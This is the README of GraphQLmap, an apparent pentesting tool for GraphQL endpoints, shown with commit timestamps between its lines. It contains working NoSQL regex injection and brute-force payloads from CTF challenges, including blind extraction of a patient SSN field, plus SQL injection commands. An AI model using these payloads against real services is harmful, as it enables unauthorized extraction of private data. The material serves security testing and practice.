2019-06-21 14:38:47 +00:00
|
|
|
# GraphQLmap
|
2019-06-21 14:42:05 +00:00
|
|
|
|
|
|
|
> GraphQLmap is a scripting engine to interact with a graphql endpoint for pentesting purposes.
|
|
|
|
|
2019-07-29 16:22:11 +00:00
|
|
|
|
|
|
|
* [Install](#install)
|
|
|
|
* [Features and examples](#features-and-examples)
|
|
|
|
- [Dump a GraphQL schema](#dump-a-graphql-schema)
|
|
|
|
- [Interact with a GraphQL endpoint](#interact-with-a-graphql-endpoint)
|
|
|
|
- Execute GraphQL queries
|
|
|
|
- Autocomplete queries
|
|
|
|
- [GraphQL field fuzzing](#graphql-field-fuzzing)
|
2022-01-17 13:42:18 +00:00
|
|
|
- [Example 1 - Bruteforce a character](#example-1---bruteforce-a-character)
|
|
|
|
- [Example 2 - Iterate over a number](#example-2---iterate-over-a-number)
|
2019-07-29 16:22:11 +00:00
|
|
|
- [NoSQL injection inside a GraphQL field](#nosql-injection)
|
|
|
|
- [SQL injection inside a GraphQL field](#sqli-injection)
|
2019-06-21 14:42:05 +00:00
|
|
|
|
2019-07-05 22:01:44 +00:00
|
|
|
I :heart: pull requests, feel free to improve this script :)
|
|
|
|
|
2019-07-29 16:04:34 +00:00
|
|
|
You can also contribute with a :beers: IRL or using Github Sponsoring button.
|
2019-06-21 14:42:05 +00:00
|
|
|
|
|
|
|
## Install
|
|
|
|
|
2019-07-29 16:22:11 +00:00
|
|
|
```basic
|
2020-02-13 14:58:10 +00:00
|
|
|
$ git clone https://github.com/swisskyrepo/GraphQLmap
|
2022-01-17 15:22:22 +00:00
|
|
|
$ python setup.py install
|
|
|
|
$ graphqlmap
|
2019-06-21 14:42:05 +00:00
|
|
|
_____ _ ____ _
|
|
|
|
/ ____| | | / __ \| |
|
|
|
|
| | __ _ __ __ _ _ __ | |__ | | | | | _ __ ___ __ _ _ __
|
|
|
|
| | |_ | '__/ _` | '_ \| '_ \| | | | | | '_ ` _ \ / _` | '_ \
|
|
|
|
| |__| | | | (_| | |_) | | | | |__| | |____| | | | | | (_| | |_) |
|
|
|
|
\_____|_| \__,_| .__/|_| |_|\___\_\______|_| |_| |_|\__,_| .__/
|
|
|
|
| | | |
|
|
|
|
|_| |_|
|
|
|
|
Author:Swissky Version:1.0
|
2022-01-17 13:42:18 +00:00
|
|
|
usage: graphqlmap.py [-h] [-u URL] [-v [VERBOSITY]] [--method [METHOD]] [--headers [HEADERS]] [--json [USE_JSON]] [--proxy [PROXY]]
|
2019-06-21 14:42:05 +00:00
|
|
|
|
|
|
|
optional arguments:
|
2022-01-17 13:42:18 +00:00
|
|
|
-h, --help show this help message and exit
|
|
|
|
-u URL URL to query : example.com/graphql?query={}
|
|
|
|
-v [VERBOSITY] Enable verbosity
|
|
|
|
--method [METHOD] HTTP Method to use interact with /graphql endpoint
|
|
|
|
--headers [HEADERS] HTTP Headers sent to /graphql endpoint
|
|
|
|
--json [USE_JSON] Use JSON encoding, implies POST
|
|
|
|
--proxy [PROXY] HTTP proxy to log requests
|
2019-06-21 14:42:05 +00:00
|
|
|
```
|
|
|
|
|
|
|
|
|
2019-07-29 16:22:11 +00:00
|
|
|
## Features and examples
|
2019-06-21 14:42:05 +00:00
|
|
|
|
|
|
|
:warning: Examples are based on several CTF challenges from HIP2019.
|
|
|
|
|
2020-02-03 09:54:08 +00:00
|
|
|
### Connect to a graphql endpoint
|
|
|
|
|
2022-01-17 13:42:18 +00:00
|
|
|
```py
|
|
|
|
# Connect using POST and providing an authentication token
|
2022-01-17 15:22:22 +00:00
|
|
|
graphqlmap -u https://yourhostname.com/graphql -v --method POST --headers '{"Authorization" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXh0Ijoibm8gc2VjcmV0cyBoZXJlID1QIn0.JqqdOesC-R4LtOS9H0y7bIq-M8AGYjK92x4K3hcBA6o"}'
|
2022-01-17 13:42:18 +00:00
|
|
|
|
|
|
|
# Pass request through Burp Proxy
|
2022-01-17 15:22:22 +00:00
|
|
|
graphqlmap -u "http://172.17.0.1:5013/graphql" --proxy http://127.0.0.1:8080
|
2020-02-03 09:54:08 +00:00
|
|
|
```
|
|
|
|
|
2019-07-29 16:22:11 +00:00
|
|
|
### Dump a GraphQL schema
|
2019-06-21 14:42:05 +00:00
|
|
|
|
2023-01-16 22:04:33 +00:00
|
|
|
Use `dump_new` to dump the GraphQL schema, this function will automatically populate the "autocomplete" with the found fields.
|
2019-07-03 18:02:56 +00:00
|
|
|
[:movie_camera: Live Example](https://asciinema.org/a/14YuWoDOyCztlx7RFykILit4S)
|
2019-06-21 14:42:05 +00:00
|
|
|
|
|
|
|
```powershell
|
2020-02-05 12:54:02 +00:00
|
|
|
GraphQLmap > dump_new
|
2019-06-21 14:42:05 +00:00
|
|
|
============= [SCHEMA] ===============
|
2019-06-22 09:25:57 +00:00
|
|
|
e.g: name[Type]: arg (Type!)
|
|
|
|
|
|
|
|
Query
|
|
|
|
doctor[]: email (String!),
|
|
|
|
doctors[Doctor]:
|
|
|
|
patients[Patient]:
|
|
|
|
patient[]: id (ID!),
|
|
|
|
allrendezvous[Rendezvous]:
|
|
|
|
rendezvous[]: id (ID!),
|
|
|
|
Doctor
|
|
|
|
id[ID]:
|
|
|
|
firstName[String]:
|
|
|
|
lastName[String]:
|
|
|
|
specialty[String]:
|
|
|
|
patients[None]:
|
|
|
|
rendezvous[None]:
|
|
|
|
email[String]:
|
|
|
|
password[String]:
|
2019-06-21 14:42:05 +00:00
|
|
|
[...]
|
|
|
|
```
|
|
|
|
|
2019-07-29 16:22:11 +00:00
|
|
|
|
|
|
|
### Interact with a GraphQL endpoint
|
|
|
|
|
|
|
|
Write a GraphQL request and execute it.
|
2019-06-21 14:42:05 +00:00
|
|
|
|
|
|
|
```powershell
|
|
|
|
GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}}
|
|
|
|
{
|
|
|
|
"data": {
|
|
|
|
"doctors": [
|
|
|
|
{
|
|
|
|
"firstName": "Admin",
|
|
|
|
"id": "5d089c51dcab2d0032fdd08d",
|
|
|
|
"lastName": "Admin"
|
|
|
|
}
|
|
|
|
]
|
|
|
|
}
|
|
|
|
}
|
|
|
|
```
|
|
|
|
|
2019-07-29 16:22:11 +00:00
|
|
|
### GraphQL field fuzzing
|
|
|
|
|
2019-06-21 14:42:05 +00:00
|
|
|
Use `GRAPHQL_INCREMENT` and `GRAPHQL_CHARSET` to fuzz a parameter.
|
2019-07-03 18:02:56 +00:00
|
|
|
[:movie_camera: Live Example](https://asciinema.org/a/ICCz3PqHVNrBf262x6tQfuwqT)
|
2019-06-21 14:42:05 +00:00
|
|
|
|
2022-01-17 13:42:18 +00:00
|
|
|
#### Example 1 - Bruteforce a character
|
|
|
|
|
2019-06-21 14:42:05 +00:00
|
|
|
```powershell
|
|
|
|
GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"AdmiGRAPHQL_CHARSET\"} }"){firstName lastName id}}
|
|
|
|
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi!\"} }"){firstName lastName id}}
|
|
|
|
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi$\"} }"){firstName lastName id}}
|
|
|
|
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi%\"} }"){firstName lastName id}}
|
|
|
|
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi(\"} }"){firstName lastName id}}
|
|
|
|
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi)\"} }"){firstName lastName id}}
|
|
|
|
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi*\"} }"){firstName lastName id}}
|
|
|
|
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi+\"} }"){firstName lastName id}}
|
|
|
|
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi,\"} }"){firstName lastName id}}
|
|
|
|
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi-\"} }"){firstName lastName id}}
|
|
|
|
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi.\"} }"){firstName lastName id}}
|
|
|
|
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi/\"} }"){firstName lastName id}}
|
|
|
|
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi0\"} }"){firstName lastName id}}
|
|
|
|
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi1\"} }"){firstName lastName id}}
|
|
|
|
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi?\"} }"){firstName lastName id}}
|
|
|
|
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}}
|
|
|
|
```
|
|
|
|
|
2022-01-17 13:42:18 +00:00
|
|
|
#### Example 2 - Iterate over a number
|
|
|
|
|
|
|
|
Use `GRAPHQL_INCREMENT_` followed by a number.
|
|
|
|
|
|
|
|
```powershell
|
|
|
|
GraphQLmap > { paste(pId: "GRAPHQL_INCREMENT_10") {id,title,content,public,userAgent} }
|
|
|
|
[+] Query: (45) { paste(pId: "0") {id,title,content,public,userAgent} }
|
|
|
|
[+] Query: (245) { paste(pId: "1") {id,title,content,public,userAgent} }
|
|
|
|
[+] Query: (371) { paste(pId: "2") {id,title,content,public,userAgent} }
|
|
|
|
[+] Query: (309) { paste(pId: "3") {id,title,content,public,userAgent} }
|
|
|
|
[+] Query: (311) { paste(pId: "4") {id,title,content,public,userAgent} }
|
|
|
|
[+] Query: (308) { paste(pId: "5") {id,title,content,public,userAgent} }
|
|
|
|
[+] Query: (375) { paste(pId: "6") {id,title,content,public,userAgent} }
|
|
|
|
[+] Query: (315) { paste(pId: "7") {id,title,content,public,userAgent} }
|
|
|
|
[+] Query: (336) { paste(pId: "8") {id,title,content,public,userAgent} }
|
|
|
|
[+] Query: (377) { paste(pId: "9") {id,title,content,public,userAgent} }
|
|
|
|
|
|
|
|
GraphQLmap > { paste(pId: "9") {id,title,content,public,userAgent} }
|
|
|
|
{ paste(pId: "9") {id,title,content,public,userAgent} }
|
|
|
|
{
|
|
|
|
"data": {
|
|
|
|
"paste": {
|
|
|
|
"content": "I was excited to spend time with my wife without being interrupted by kids.",
|
|
|
|
"id": "UGFzdGVPYmplY3Q6OQ==",
|
|
|
|
"public": true,
|
|
|
|
"title": "This is my first paste",
|
|
|
|
"userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0"
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
```
|
|
|
|
|
2019-07-29 16:22:11 +00:00
|
|
|
### NoSQLi injection
|
|
|
|
|
2019-06-21 14:42:05 +00:00
|
|
|
Use `BLIND_PLACEHOLDER` inside the query for the `nosqli` function.
|
2019-07-03 18:02:56 +00:00
|
|
|
[:movie_camera: Live Example](https://asciinema.org/a/wp2lixHqRV0pxxhZ8nsgUj6s7)
|
2019-06-21 14:42:05 +00:00
|
|
|
|
|
|
|
```powershell
|
|
|
|
GraphQLmap > nosqli
|
|
|
|
Query > {doctors(options: "{\"\"patients.ssn\":1}", search: "{ \"patients.ssn\": { \"$regex\": \"^BLIND_PLACEHOLDER\"}, \"lastName\":\"Admin\" , \"firstName\":\"Admin\" }"){id, firstName}}
|
|
|
|
Check > 5d089c51dcab2d0032fdd08d
|
2020-04-22 09:32:48 +00:00
|
|
|
Charset > 0123456789abcdef-
|
2019-06-21 14:42:05 +00:00
|
|
|
[+] Data found: 4f537c0a-7da6-4acc-81e1-8c33c02ef3b
|
2020-04-22 09:32:48 +00:00
|
|
|
GraphQLmap >
|
2019-06-21 14:42:05 +00:00
|
|
|
```
|
|
|
|
|
2019-07-29 16:22:11 +00:00
|
|
|
### SQL injection
|
|
|
|
|
|
|
|
```powershell
|
|
|
|
GraphQLmap > postgresqli
|
|
|
|
GraphQLmap > mysqli
|
|
|
|
GraphQLmap > mssqli
|
|
|
|
```
|
|
|
|
|
2022-01-17 13:42:18 +00:00
|
|
|
## Practice
|
|
|
|
|
|
|
|
* [Damn Vulnerable GraphQL Application - @dolevf](https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application/blob/master/setup.py)
|
2019-07-29 16:22:11 +00:00
|
|
|
|
2019-07-05 22:01:44 +00:00
|
|
|
## TODO
|
|
|
|
|
2022-01-17 19:46:40 +00:00
|
|
|
* GraphQL Field Suggestions : Find
|
|
|
|
* Generate mutation query
|
2019-07-05 22:01:44 +00:00
|
|
|
* Unit tests
|
|
|
|
* Handle node
|
|
|
|
```
|
|
|
|
{
|
|
|
|
user {
|
|
|
|
edges {
|
|
|
|
node {
|
|
|
|
username
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
2019-07-29 16:04:34 +00:00
|
|
|
```
|